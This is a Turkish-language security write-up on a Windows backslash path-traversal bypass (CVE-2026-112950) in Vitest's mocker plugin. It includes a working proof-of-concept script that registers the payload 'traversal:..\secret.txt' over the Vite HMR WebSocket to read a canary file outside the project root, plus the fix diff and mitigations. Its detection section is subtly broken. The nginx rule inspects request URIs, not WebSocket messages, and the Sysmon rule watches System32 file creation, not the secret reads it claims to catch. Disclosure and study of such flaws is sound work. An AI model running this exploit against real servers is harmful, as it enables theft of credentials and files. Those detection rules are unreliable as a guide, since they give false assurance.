---
title: "CVE-2026-112950: @vitest/mocker'da Windows Ters Bölü Dizin Geçişi"
description: "CVE-2026-112950 kök neden analizi: Windows'ta ters bölü içeren bir redirect mock yolu, ilk düzeltmeyle eklenen Vite allowlist denetiminden geçiyor ve ardından proje kökü dışındaki bir dosyayı okuyor."
date: 2026-10-19
author: Sevban Dönmez (@jankesec)
canonical: https://jankesec.com/tr/arastirma/cve-2026-112950-vitest-mocker-path-traversal/
---

> **İfşa:** CVE-2026-112950, `@vitest/mocker` içindeki [GHSA-82fw-gwwq-j7x9](https://github.com/vitest-dev/vitest/security/advisories/GHSA-82fw-gwwq-j7x9) düzeltmesinin atlatılmasıdır. Zafiyeti `jankesec` olarak Vitest bakımcılarına bildirdim. 4.1.12 ve 5.0.3 sürümlerinde düzeltildi ve [GHSA-xp26-3454-mjgp](https://github.com/vitest-dev/vitest/security/advisories/GHSA-xp26-3454-mjgp) olarak yayımlandı. GitHub zafiyeti CVSS 3.1 5.9 (Orta) olarak puanladı: `AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N`.

Windows'ta yolu `..\` içeren bir redirect mock, ilk düzeltmeyle eklenen allowlist denetiminden geçer ve sunucu ardından proje kökü dışındaki bir dosyayı okur. Saldırganın, redirect handler'ını kaydeden bir Windows geliştirme sunucusunun Vite HMR WebSocket bağlantısına erişmesi gerekir. `mockerPlugin` ve bağımsız bir `interceptorPlugin` bu handler'ı kaydeder; Vitest'in kendi browser mode'u kaydetmez. Vite varsayılan olarak localhost üzerinde dinlediği için sunucunun önce dışarıya açılması gerekir; örneğin `--host 0.0.0.0` ile veya bir proxy üzerinden.

Neden, denetim ile okuma arasındaki anlaşmazlıktır. Denetim `\` karakterini sıradan bir karakter olarak değerlendirir. Dosya okuma ise onu bir dizin ayırıcısı olarak yorumlar. Aynı dize, iki farklı katmanda iki farklı anlam taşıdığı için güvenlik kararı yanlış tarafa düşer. Bu tür hatalar yalnızca Windows'ta görünür; Linux ve macOS üzerinde aynı payload zararsız kalır, dolayısıyla geliştiriciler sorunu kendi test ortamlarında fark etmeyebilir.

## İlk düzeltme

GHSA-82fw-gwwq-j7x9, geliştirme sunucusunun HMR WebSocket'ine erişebilen herhangi bir istemcinin keyfi bir yol için redirect mock kaydedebildiğini ve eklentinin daha sonra o dosyanın içeriğini modül olarak döndürdüğünü göstermişti. İlk düzeltme, hesaplanan yolu saklamadan önce Vite'ın `isFileLoadingAllowed()` fonksiyonundan geçirir:

```ts
// interceptorPlugin.ts after the first fix (simplified)
import { join } from 'node:path/posix'

const redirectUrl = new URL(event.redirect)
const redirect = join(server.config.root, redirectUrl.pathname)
if (!isFileLoadingAllowed(server.config, redirect)) return
event.redirect = redirect
```

`traversal:` gibi özel bir şema kullanıldığında `new URL()` yolu opak tutar. `traversal:../secret.txt` için pathname `../secret.txt` olur, `join(root, '../secret.txt')` kökün üstüne çıkar ve `isFileLoadingAllowed()` bunu reddeder. Linux ve macOS üzerinde bu beklendiği gibi çalışır; çünkü hem denetim hem de dosya okuma `/` karakterini ayırıcı kabul eder. Düzeltmenin zayıf noktası, bu uyumun tüm platformlarda geçerli olduğu varsayımıdır.

## Denetim ile okumanın ayrıldığı yer

`join`, `/` karakterinin tek ayırıcı olduğu ve `\` karakterinin normal bir dosya adı karakteri sayıldığı `node:path/posix` modülünden gelir. Vite kökü `C:/workspace/project/root`, redirect de `traversal:..\secret.txt` olsun:

1. `redirectUrl.pathname` değeri `..\secret.txt` olur.
2. `join('C:/workspace/project/root', '..\\secret.txt')` hiçbir `..` segmenti bulamaz ve `C:/workspace/project/root/..\secret.txt` döndürür.
3. `isFileLoadingAllowed()` bu dizeyi `server.fs.allow` ile karşılaştırır. Dize izin verilen kökle başladığı için denetimi geçer ve mock saklanır.
4. Modül istendiğinde eklenti `readFile(mock.redirect, 'utf-8')` çağırır. Windows'ta Node dosyayı `CreateFileW` üzerinden açar; burada `\` dizinleri ayırır ve `..\` çözümlenir. Açılan dosya, kökün bir seviye üstündeki `C:\workspace\project\secret.txt` olur.

Buradaki kritik ayrım şudur: allowlist denetimi bir dize öneki karşılaştırmasıdır, dosya okuma ise işletim sisteminin yol çözümlemesidir. Denetim "güvenli" derken okuma "kök dışı" der; aradaki farkı kapatan hiçbir normalizasyon yoktur. Saldırganın özel bir yetkiye ihtiyacı olmaması da etkiyi artırır: HMR soketine erişen her istemci bu kaydı yapabilir.

<figure class="diagram">
<svg viewBox="0 0 760 280" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="CVE-2026-112950 akışı. Saldırgan, Vite HMR WebSocket üzerinden ters bölü içeren bir yönlendirme kaydeder. Allowlist denetimi yolu POSIX kurallarıyla birleştirir ve geçer. Dosya okuma aynı yolu Win32 kurallarıyla çözer ve proje kökü dışındaki bir dosyayı açar.">
<defs><marker id="vm-a" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L8,4 L0,8 z" class="dg-arrow" /></marker></defs>
<rect x="20" y="20" width="720" height="60" rx="8" class="dg-box" />
<text x="40" y="45" class="dg-label">SALDIRGAN: Vite HMR socket'ine bağlı WebSocket istemcisi</text>
<text x="40" y="65" class="dg-muted">Yönlendirme kaydeder: traversal:..\secret.txt</text>
<line x1="380" y1="80" x2="380" y2="110" class="dg-line" marker-end="url(#vm-a)" />
<rect x="20" y="110" width="720" height="70" rx="8" class="dg-box-crit" />
<text x="40" y="135" class="dg-label">ALLOWLIST DENETİMİ: interceptorPlugin.ts</text>
<text x="40" y="155" class="dg-crit">node:path/posix join() "..\" ifadesini metin olarak korur, bu yüzden isFileLoadingAllowed() geçer</text>
<line x1="380" y1="180" x2="380" y2="210" class="dg-line" marker-end="url(#vm-a)" />
<rect x="20" y="210" width="720" height="60" rx="8" class="dg-box-danger" />
<text x="40" y="235" class="dg-label">DOSYA OKUMA: CreateFileW üzerinden readFile(mock.redirect)</text>
<text x="40" y="255" class="dg-crit">Win32 "\" işaretini ayraç sayar ve ".." ifadesini çözer → proje kökü dışındaki bir dosya döner</text>
</svg>
<figcaption>Allowlist denetimi <code>\</code> işaretini sıradan bir karakter olarak okur; dosya okuma ise aynı işareti dizin ayracı sayar.</figcaption>
</figure>

## Kanıt matrisi

Aşağıdaki tablo, hangi iddianın hangi deneyle doğrulandığını ve hangi durumların negatif kontrol olarak kullanıldığını özetler. Her satır, zafiyetin kapsamını daraltmaya yönelik tek bir soruyu yanıtlar ve mümkün olduğunda bir negatif kontrolle desteklenir.

| Soru | Neyi denetledim | Güven | Notlar ve negatif kontroller |
|---|---|---:|---|
| Hangi sürümler etkileniyor? | Windows Server 2025 ve Node.js 22 üzerinde `@vitest/mocker@4.1.11` ve `@vitest/mocker@5.0.0`, ayrıca `2ce29d5` üzerindeki `main`. | Yüksek | Üçü de aynı davrandı. Güvenlik bildirisi 4.1.11 ve `>=5.0.0-rc.2, <5.0.3` sürümlerini etkilenen olarak listeliyor. |
| İlk düzeltme `/` karakterini hâlâ durduruyor mu? | Aynı WebSocket üzerinden `traversal:../secret.txt` kaydedildi. | Yüksek | HTTP 404. `isFileLoadingAllowed()` reddetti. |
| Ters bölü biçimi geçiyor mu? | Kanarya dizesi taşıyan kardeş dosyayı işaret eden `traversal:..\secret.txt` kaydedildi. | Yüksek | HTTP 200 ve `SYNTHETIC_OUTSIDE_ROOT_CANARY`. |
| Saldırganın neye ihtiyacı var? | Redirect handler'ını kaydeden bir sunucunun Vite HMR portuna WebSocket bağlantısı (`mockerPlugin` veya bağımsız `interceptorPlugin`). | Yüksek | Geliştirme sunucusu varsayılan olarak localhost'ta dinler. Dışarıya açmak için `--host` veya proxy gerekir. Vitest browser mode bu handler'ı kaydetmez. |
| Browser RPC yolu etkileniyor mu? | `packages/browser/src/node/rpc.ts` okundu. | Yüksek | Hayır. Yolları `pathe` ile birleştiriyor; bu araç denetimden önce ters bölüleri dönüştürüyor. |
| Düzeltme açığı kapatıyor mu? | PoC 4.1.12 ve 5.0.3 sürümlerine karşı yeniden çalıştırıldı. | Yüksek | Ters bölüler join öncesinde `/` karakterine dönüştürülüyor; `isFileLoadingAllowed()` her iki biçimi de reddediyor. |

## Yeniden üretim

Sorunu, gerçek sırlar yerine bir kanarya dosyası kullanan temiz bir Windows makinesinde yeniden ürettim. Betik, `interceptorPlugin` ile bağımsız bir Vite sunucusu başlatır ve kanarya dosyasını sunucu kökünün yanına yazar:

```bash
<tmpdir>\vitest-path-<uuid>\
├── root\          server.config.root, the only allowed directory
└── secret.txt     canary file containing SYNTHETIC_OUTSIDE_ROOT_CANARY
```

Kanarya dosyası, gerçek bir sırrın yerine yalnızca okunup okunmadığını anlamak için kullanılır; böylece test üretim verisine dokunmaz. Betik (`poc.mjs`) aynı WebSocket üzerinden iki redirect kaydeder; biri negatif kontrol olarak `/`, diğeri `\` ile. Ardından iki modülü de HTTP üzerinden ister ve sonucu yazdırır:

```js
import { mkdir, writeFile } from 'node:fs/promises'
import { join } from 'node:path'
import { tmpdir } from 'node:os'
import { randomUUID } from 'node:crypto'
import { interceptorPlugin } from '@vitest/mocker/node'
import { createServer } from 'vite'
import { WebSocket } from 'ws'

const base = join(tmpdir(), `vitest-path-${randomUUID()}`)
const root = join(base, 'root')
const secret = join(base, 'secret.txt')
await mkdir(root, { recursive: true })
await writeFile(secret, 'SYNTHETIC_OUTSIDE_ROOT_CANARY')

const server = await createServer({
  root,
  configFile: false,
  logLevel: 'silent',
  server: { fs: { allow: [root] } },
  plugins: [
    {
      name: 'validation:virtual-modules',
      enforce: 'pre',
      resolveId(id) {
        if (id === '/control' || id === '/bypass') return id
      },
    },
    interceptorPlugin(),
  ],
})

await server.listen()
const port = new URL(server.resolvedUrls.local[0]).port
const baseUrl = server.resolvedUrls.local[0]

function register(id, redirect) {
  return new Promise((resolve, reject) => {
    const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr')
    const timer = setTimeout(() => reject(new Error('registration timeout')), 5000)
    socket.on('message', (raw) => {
      let message
      try { message = JSON.parse(raw.toString()) } catch { return }
      if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') {
        clearTimeout(timer)
        socket.close()
        resolve()
      }
    })
    socket.on('open', () => socket.send(JSON.stringify({
      type: 'custom',
      event: 'vitest:interceptor:register',
      data: { type: 'redirect', raw: '', id, url: id, redirect },
    })))
    socket.on('error', reject)
  })
}

try {
  // 1. Negative control: Standard forward-slash traversal
  await register('/control', 'traversal:../secret.txt')
  const controlResponse = await fetch(new URL('/control', baseUrl))
  const controlBody = await controlResponse.text()

  // 2. Exploit vector: Windows backslash traversal
  await register('/bypass', 'traversal:..\\secret.txt')
  const bypassResponse = await fetch(new URL('/bypass', baseUrl))
  const bypassBody = await bypassResponse.text()

  const result = {
    platform: process.platform,
    root,
    outsideFile: secret,
    slashTraversalStatus: controlResponse.status,
    slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
    backslashTraversalStatus: bypassResponse.status,
    backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
    returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null,
  }

  console.log(JSON.stringify(result, null, 2))
} finally {
  await server.close()
}
```

### Gözlemlenen çıktı

Windows üzerinde `@vitest/mocker@4.1.11` sürümüne karşı çalıştırıldı. Betik `root` ve `outsideFile` alanlarını da yazdırır; yerel yolları kaldırdım.

```json
{
  "platform": "win32",
  "slashTraversalStatus": 404,
  "slashTraversalRejected": true,
  "backslashTraversalStatus": 200,
  "backslashTraversalReturnedOutsideCanary": true,
  "returnedBody": "SYNTHETIC_OUTSIDE_ROOT_CANARY"
}
```

İki istek yalnızca ayırıcı karakterde farklıdır. `traversal:../secret.txt` 404 döndürdü; yani ilk düzeltme etkindir. `traversal:..\secret.txt` ise kanarya dizesiyle birlikte 200 döndürdü. Bu, sorunun bir yarış koşulu değil, deterministik bir yol yorumlama farkı olduğunu gösterir. Aynı betik her çalıştırıldığında aynı sonucu verir; bu da hatanın ortam gürültüsüyle açıklanamayacağını kanıtlar.

## Düzeltme

Düzeltme, commit [`15cc006`](https://github.com/vitest-dev/vitest/commit/15cc006aa9f8683dc5f7e895d011fa7dc751ce35) (PR #11377, 5.0.3 içinde yayımlandı) ve [`b825313`](https://github.com/vitest-dev/vitest/commit/b825313243dc55757e8d7c0f9e7a792135e13473) olarak geri taşınmış hâlidir (PR #11580, 4.1.12 içinde yayımlandı). URL pathname'i join işleminden önce, ters bölüleri `/` karakterine çeviren `@vitest/utils/helpers` içindeki `slash()` ile sarılır. Aynı commit, `packages/browser/src/node/rpc.ts` içindeki yollar için de `slash()` uygular. O kod istismar edilebilir değildi, ancak artık aynı davranışı gösteriyor.

```diff
--- a/packages/mocker/src/node/interceptorPlugin.ts
+++ b/packages/mocker/src/node/interceptorPlugin.ts
@@ -2,6 +2,7 @@ import type { Plugin } from 'vite'
 import type { MockedModuleSerialized } from '../registry'
 import { readFile } from 'node:fs/promises'
 import { join } from 'node:path/posix'
+import { slash } from '@vitest/utils/helpers'
 import { isFileLoadingAllowed } from 'vite'
 import { ManualMockedModule, MockerRegistry } from '../registry'
 import { cleanUrl, createManualModuleSource } from '../utils'
@@ -77,7 +78,7 @@ export function interceptorPlugin(options: InterceptorPluginOptions = {}): Plugi
         } else {
           if (event.type === 'redirect') {
             const redirectUrl = new URL(event.redirect)
-            const redirect = join(server.config.root, redirectUrl.pathname)
+            const redirect = join(server.config.root, slash(redirectUrl.pathname))
             // the redirect is served through the `load` hook below, so it must
             // stay inside the file-serving allowlist and never escape the root
             if (!isFileLoadingAllowed(server.config, redirect)) {
```

`..\secret.txt` artık `join()` çağrısından önce `../secret.txt` hâline gelir. Sonuç `server.config.root` üstüne çıkar ve `isFileLoadingAllowed()` bunu, tıpkı ileri bölü biçiminde olduğu gibi reddeder.

## Yol çözümleme uyumsuzluk matrisi

Bu zafiyet, standart URL ayrıştırıcıları, POSIX yol araçları ve Win32 dosya sistemi API'sinin ters bölü karakterini farklı yorumlamasından kaynaklanır:

| Katman | Girdi Dizesi | Kabul Edilen Ayırıcılar | Çıktı / Karar | Güvenlik Etkisi |
| :--- | :--- | :--- | :--- | :--- |
| **WHATWG URL Ayrıştırıcı** (`new URL(...)`) | `traversal:..\secret.txt` | Özel olmayan şemalarda yalnızca `/` | `pathname: "..\secret.txt"` | Ters bölü korunur; ileri bölüye dönüştürülmez. |
| **POSIX Yol Birleştirme** (`path/posix.join`) | `join("C:/root", "..\secret.txt")` | Yalnızca `/` | `"C:/root/..\secret.txt"` | `..\` ifadesi üst dizin değil, sıradan dosya adı parçası sayılır. |
| **Vite FS İzin Listesi** (`isFileLoadingAllowed`) | `"C:/root/..\secret.txt"` | İzinli köklerle metinsel önek karşılaştırması | **İZİN VERİLDİ** (`true`) | Dize, izinli `"C:/root"` önekiyle başlar. |
| **Win32 Çalışma Zamanı** (`CreateFileW` via `readFile`) | `C:\root\..\secret.txt` | Hem `/` hem `\` | **Açar:** `C:\secret.txt` | Çekirdek `..\` ifadesini üst dizin olarak çözümler ve kök dışına çıkar. |

## Tespit mühendisliği ve telemetri

İstismar, geliştirme sunucusunun HMR WebSocket uç noktasını hedefler ve hem ağ katmanında hem de süreç telemetrisinde izlenebilir.

### 1. Ters proxy ve WAF tespiti

Geliştirme ortamı Nginx, HAProxy veya bir WAF arkasında sunulduğunda, ters bölü dizin geçişi içeren yönlendirme yükleri engellenebilir:

```nginx
# Nginx WebSocket inceleme kuralı
# Ham veya kodlanmış Windows dizin geçişi içeren istekleri engelle
map $http_upgrade $is_websocket {
    default 0;
    "websocket" 1;
}

if ($request_uri ~* "(%5c|\x5c|\\)\.\.(%5c|\x5c|\\|/)") {
    return 400 "Blocked traversal sequence";
}
```

### 2. Windows Sysmon dosya telemetrisi

Geliştirici iş istasyonlarını izleyen SOC ekipleri, Sysmon Event ID 11 (FileCreate/FileRead) ile Node.js sürecinin proje kökü dışındaki kritik dosyalara erişimini denetleyebilir:

```xml
<!-- Sysmon dosya erişim denetim kuralı -->
<RuleGroup name="" groupRelation="or">
  <FileCreate onmatch="include">
    <Rule groupRelation="and">
      <Image condition="end with">node.exe</Image>
      <TargetFilename condition="begin with">C:\Windows\System32\</TargetFilename>
    </Rule>
  </FileCreate>
</RuleGroup>
```

İstismar gerçekleştiğinde telemetri, `node.exe` sürecinin çalışma dizini dışındaki kullanıcı sırlarına (`.aws/credentials`, `id_rsa` veya çevre değişkeni dosyaları) doğrudan eriştiğini kaydeder.

## Geçici çözüm: Güncelleme yapmadan yapılandırma sıkılaştırma

Paket 4.1.12 veya 5.0.3 sürümlerine hemen yükseltilemiyorsa aşağıdaki sıkılaştırma adımları uygulanır:

1. **Ağ arayüzünü sınırlandırın:** Paylaşımlı ağlarda veya CI ortamlarında Vite sunucusunu asla `--host 0.0.0.0` veya `--host` ile başlatmayın. Dinlemeyi yalnızca yerel döngü (loopback) ile sınırlandırın:
   ```ts
   // vite.config.ts
   export default defineConfig({
     server: {
       host: '127.0.0.1', // Yalnızca yerel erişim
       cors: false,
     },
   })
   ```

2. **Sıkı dosya sistemi kısıtlaması uygulayın:** Proje kökü dışından dosya sunulmasını engellemek için `server.fs` ayarını yapılandırın:
   ```ts
   // vite.config.ts
   export default defineConfig({
     server: {
       fs: {
         strict: true,
         deny: ['**/.*', '**/*.env*', '**/*.key'],
       },
     },
   })
   ```

## ATT&CK teknik eşleşmesi

| Taktik | Teknik ID | Teknik Adı | Zafiyetteki İşleyiş | Savunma Kontrolü |
| :--- | :--- | :--- | :--- | :--- |
| **Initial Access / Discovery** | `T1190` | Exploit Public-Facing Application | Dışa açık Vite HMR WebSocket portu kötü niyetli redirect mock kaydı alır. | Geliştirme sunucusunu yalnızca `127.0.0.1` adresine bağla; port erişimini sınırla. |
| **Discovery** | `T1083` | File and Directory Discovery | Saldırgan Windows üzerinde üst dizinlere geçerek proje dışı dosyaları okur. | Doğrulama öncesinde yol ayırıcılarını `slash()` ile tek tipleştir. |
| **Credential Access** | `T1552.001` | Unsecured Credentials: Credentials in Files | Keyfi dosya okuma, yapılandırma dosyalarını ve gizli anahtarları sızdırır. | `server.fs.deny` listelerini etkinleştir; geliştirme kimlik bilgilerini izole et. |

## Çıkarımlar

Bu vaka, güvenlik denetiminin "bu dize hangi platformda tüketilecek?" sorusunu sormadan yazılmasının bedelini açıkça gösterir.

1. Ayırıcıları, dizeyi tüketecek platforma göre normalleştirin. `node:path/posix` URL'ler için uygundur; ancak sonuç Windows'ta `readFile()` fonksiyonuna ulaştığında, herhangi bir güvenlik denetiminden önce `\` karakterini dönüştürün.
2. Bir URL ayrıştırıcısının ters bölüleri düzelteceğini varsaymayın. WHATWG ayrıştırıcısı `http` ve `file` gibi özel şemalarda `\` karakterini `/` olarak ele alır, `traversal:` gibi özel olmayan bir şemada ise olduğu gibi bırakır.
3. Gerçekten kullanacağınız değeri denetleyin. Girdiyi mutlak ve normalleştirilmiş bir yola çözümleyin (symlink önemliyse `realpath` ile), ardından kök içinde kalma testini bu sonuç üzerinde yapın.
